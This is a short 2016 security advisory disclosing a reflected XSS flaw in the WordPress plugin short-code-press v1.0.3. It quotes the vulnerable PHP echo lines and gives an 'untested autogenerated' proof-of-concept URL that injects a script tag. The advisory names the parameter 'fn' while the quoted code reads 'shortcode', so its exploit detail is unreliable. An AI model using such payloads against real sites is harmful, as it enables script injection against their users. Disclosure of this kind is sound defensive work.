Advisory #: 458
Title: Reflected XSS in wordpress plugin short-code-press v1.0.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/short-code-press
Downloads: 6865
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: short-code-press
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./short-code-press/scp_options.php: 4:<title>Short Code Press - <?php echo $_GET[shortcode];?></title> 60:<fieldset><legend><?php echo $_GET[shortcode];?> Options</legend> The variable fn appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./short-code-press/scp_options.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/short-code-press/scp_options.php?fn="><script>alert(1);</script><"